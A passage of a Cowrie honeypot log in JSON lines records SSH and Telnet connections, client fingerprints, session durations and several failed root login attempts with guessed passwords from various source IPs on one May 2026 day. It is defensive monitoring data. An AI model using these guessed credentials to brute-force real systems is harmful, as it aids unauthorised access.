db:0e:fa:55:a3:6b:64:80:b8:3b:26:45:64:14:32:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:41.300343Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:0e:fa:55:a3:6b:64:80:b8:3b:26:45:64:14:32:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMkYh75qQ+ZNWBZSB5XRdXqbH29c+nsB/5Q+PuZBMZK1KdqZSYeT+r9ljHRGD6H+9Rgp+AoPRx+oAootq2+4HG9m09/QwoDOCUiD2tzS6nt3JjEMk/j26NNccYY7WF8k3P46dQNa/Lof/ZVHFz3DGKRwsVgunVYeuiMpQYq+uBI9Gh11v1ViUejt7Ewz6P5L9dg2AMTFozXb6esA6xZLf2oSHbYsYekgHec5Qs4X/u+hLtJABqIpGg8Qy5PrTZcni7hf9+k35HVLEHoX43ePWEu4eQbxoPmZaDvphWBquXE+/AD7CY8ep3icNuKdWiumV8avADDgnhH/g5Oi6R8Fl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:41.304118Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:41.544439Z","src_ip":"45.43.45.254","session":"90885c991136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53988,"dst_ip":"10.17.0.5","dst_port":23,"session":"10348edd0084","protocol":"telnet","message":"New connection: 192.119.13.58:53988 (10.17.0.5:23) [session: 10348edd0084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:47.359955Z"}
{"eventid":"cowrie.session.closed","duration":43.503692865371704,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:48.129169Z","src_ip":"192.119.13.58","session":"93242b7f1df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.395466804504395,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:48.588274Z","src_ip":"192.119.13.58","session":"974cefd085b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.70125436782837,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:51.317226Z","src_ip":"192.119.13.58","session":"e377ac4a68ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0b1498e85b","protocol":"telnet","message":"New connection: 192.119.13.58:42206 (10.17.0.5:23) [session: 1b0b1498e85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:51.402326Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":55618,"dst_ip":"10.17.0.5","dst_port":22,"session":"03701318c4da","protocol":"ssh","message":"New connection: 175.118.127.138:55618 (10.17.0.5:22) [session: 03701318c4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:55.179999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:55.184730Z","src_ip":"175.118.127.138","session":"03701318c4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:55.367049Z","src_ip":"175.118.127.138","session":"03701318c4da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345asd","message":"login attempt [root/12345asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:56.122334Z","src_ip":"175.118.127.138","session":"03701318c4da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60900,"dst_ip":"10.17.0.5","dst_port":23,"session":"6caf6c8eef2a","protocol":"telnet","message":"New connection: 192.119.13.58:60900 (10.17.0.5:23) [session: 6caf6c8eef2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:56.184999Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":51730,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1dc30ba99b4","protocol":"ssh","message":"New connection: 165.154.5.249:51730 (159.203.135.109:22) [session: d1dc30ba99b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:57.185221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:57.190279Z","src_ip":"165.154.5.249","session":"d1dc30ba99b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:57.305429Z","src_ip":"175.118.127.138","session":"03701318c4da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:57.402728Z","src_ip":"165.154.5.249","session":"d1dc30ba99b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts","message":"login attempt [root/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:58.288804Z","src_ip":"165.154.5.249","session":"d1dc30ba99b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13435387611389,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:58.742525Z","src_ip":"192.119.13.58","session":"4579ce065961","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:59.504379Z","src_ip":"165.154.5.249","session":"d1dc30ba99b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b3b0fa9f6c","protocol":"telnet","message":"New connection: 192.119.13.58:46820 (10.17.0.5:23) [session: 00b3b0fa9f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:59.599242Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":41220,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbea4809b600","protocol":"ssh","message":"New connection: 150.109.25.130:41220 (159.203.135.109:22) [session: cbea4809b600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:59.892667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:33:59.897174Z","src_ip":"150.109.25.130","session":"cbea4809b600","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:00.128626Z","src_ip":"150.109.25.130","session":"cbea4809b600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cuan","message":"login attempt [root/cuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:01.098645Z","src_ip":"150.109.25.130","session":"cbea4809b600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:02.332693Z","src_ip":"150.109.25.130","session":"cbea4809b600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":50926,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c68c200bea","protocol":"ssh","message":"New connection: 43.163.121.249:50926 (159.203.135.109:22) [session: 09c68c200bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:02.674980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:02.683810Z","src_ip":"43.163.121.249","session":"09c68c200bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.87472319602966,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:02.688759Z","src_ip":"192.119.13.58","session":"d7721f694aca","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:02.929225Z","src_ip":"43.163.121.249","session":"09c68c200bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:03.943221Z","src_ip":"43.163.121.249","session":"09c68c200bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.30303597450256,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:04.298867Z","src_ip":"192.119.13.58","session":"87dfbd184639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:05.191473Z","src_ip":"43.163.121.249","session":"09c68c200bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46500,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d8471d0318","protocol":"telnet","message":"New connection: 192.119.13.58:46500 (10.17.0.5:23) [session: 30d8471d0318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:06.109763Z"}
{"eventid":"cowrie.session.closed","duration":1.4393465518951416,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:07.549010Z","src_ip":"192.119.13.58","session":"30d8471d0318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57748,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ada131ce25a","protocol":"telnet","message":"New connection: 192.119.13.58:57748 (10.17.0.5:23) [session: 7ada131ce25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:08.877794Z"}
{"eventid":"cowrie.session.closed","duration":47.55228137969971,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:09.289351Z","src_ip":"192.119.13.58","session":"91adaea53c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.96991562843323,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:15.205048Z","src_ip":"192.119.13.58","session":"16b14277f8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.543782234191895,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:19.770327Z","src_ip":"192.119.13.58","session":"00bccd9954dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47308,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d5bb0d5d67","protocol":"telnet","message":"New connection: 192.119.13.58:47308 (10.17.0.5:23) [session: 23d5bb0d5d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:20.233150Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":50418,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c2b601c23a0","protocol":"ssh","message":"New connection: 69.6.222.198:50418 (159.203.135.109:22) [session: 8c2b601c23a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:20.241173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:20.246026Z","src_ip":"69.6.222.198","session":"8c2b601c23a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:20.363620Z","src_ip":"69.6.222.198","session":"8c2b601c23a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apollo11","message":"login attempt [root/apollo11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:20.850541Z","src_ip":"69.6.222.198","session":"8c2b601c23a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0ef598259b","protocol":"telnet","message":"New connection: 192.119.13.58:53792 (10.17.0.5:23) [session: 5d0ef598259b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:21.722568Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:21.970987Z","src_ip":"69.6.222.198","session":"8c2b601c23a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52632,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d89d3c0fe52","protocol":"telnet","message":"New connection: 192.119.13.58:52632 (10.17.0.5:23) [session: 7d89d3c0fe52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:22.449910Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":33610,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c7d9fda7a3","protocol":"ssh","message":"New connection: 147.45.197.250:33610 (159.203.135.109:22) [session: 28c7d9fda7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:24.026629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:24.036306Z","src_ip":"147.45.197.250","session":"28c7d9fda7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:24.133303Z","src_ip":"147.45.197.250","session":"28c7d9fda7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanova","message":"login attempt [root/ivanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:24.422511Z","src_ip":"147.45.197.250","session":"28c7d9fda7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:25.528486Z","src_ip":"147.45.197.250","session":"28c7d9fda7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb327e08b8d","protocol":"telnet","message":"New connection: 192.119.13.58:49310 (10.17.0.5:23) [session: dfb327e08b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:34:28.722875Z"}
